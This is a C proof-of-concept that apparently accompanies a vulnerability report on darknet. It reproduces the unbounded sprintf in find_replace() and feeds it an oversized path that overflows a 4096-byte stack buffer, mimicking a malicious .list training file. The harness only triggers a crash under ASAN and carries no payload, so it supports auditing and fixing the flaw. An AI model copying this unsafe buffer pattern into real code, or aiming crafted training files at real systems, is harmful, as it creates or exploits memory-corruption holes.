| /* | |
| * PoC: Stack buffer overflow in find_replace() — src/utils.c:216-230 | |
| * | |
| * Vulnerability: find_replace() uses a fixed char buffer[4096] with sprintf() | |
| * and has no bounds checking. When called with a string > 4096 chars, | |
| * sprintf(buffer, "%s", str) overflows the stack buffer. | |
| * | |
| * Attack vector: Training data paths from .list files are passed to | |
| * find_replace() via fill_truth_detection() (data.c:450) and | |
| * find_replace_paths() (data.c:56-64). A malicious .list file with | |
| * paths > 4096 chars triggers the overflow. | |
| * | |
| * Also: data.c:61 has char replaced[4096] — another stack buffer overflow | |
| * target via the same path. | |
| * | |
| * This harness demonstrates the overflow by calling find_replace() directly | |
| * with an oversized string, simulating what happens when darknet processes | |
| * a malicious training data file. | |
| */ | |
| /* Exact copy of the vulnerable function from src/utils.c:216-230 */ | |
| void find_replace(char *str, char *orig, char *rep, char *output) | |
| { | |
| char buffer[4096] = {0}; | |
| char *p; | |
| sprintf(buffer, "%s", str); /* OVERFLOW: str > 4096 */ | |
| if(!(p = strstr(buffer, orig))){ | |
| sprintf(output, "%s", str); | |
| return; | |
| } | |
| *p = '\0'; | |
| sprintf(output, "%s%s%s", buffer, rep, p+strlen(orig)); | |
| } | |
| int main(int argc, char **argv) | |
| { | |
| /* Simulate a malicious image path from a .list file */ | |
| /* In real darknet, this comes from fgetl() reading train.list */ | |
| int path_len = 5000; | |
| if (argc > 1) path_len = atoi(argv[1]); | |
| char *malicious_path = malloc(path_len + 1); | |
| memset(malicious_path, 'A', path_len); | |
| /* Inject "images" at position 100 so find_replace has something to match */ | |
| memcpy(malicious_path + 100, "images", 6); | |
| /* End with a valid-looking extension */ | |
| memcpy(malicious_path + path_len - 4, ".jpg", 4); | |
| malicious_path[path_len] = '\0'; | |
| printf("[*] PoC: find_replace() stack buffer overflow (src/utils.c:221)\n"); | |
| printf("[*] Input string length: %d bytes\n", path_len); | |
| printf("[*] Fixed buffer size: 4096 bytes\n"); | |
| printf("[*] Overflow: %d bytes past buffer\n", path_len - 4096); | |
| printf("[*] Calling find_replace()...\n"); | |
| /* This is the exact call from data.c:220 / data.c:450 */ | |
| char labelpath[4096]; | |
| find_replace(malicious_path, "images", "labels", labelpath); | |
| /* Should never reach here with ASAN */ | |
| printf("[!] If you see this, ASAN is not enabled\n"); | |
| free(malicious_path); | |
| return 0; | |
| } | |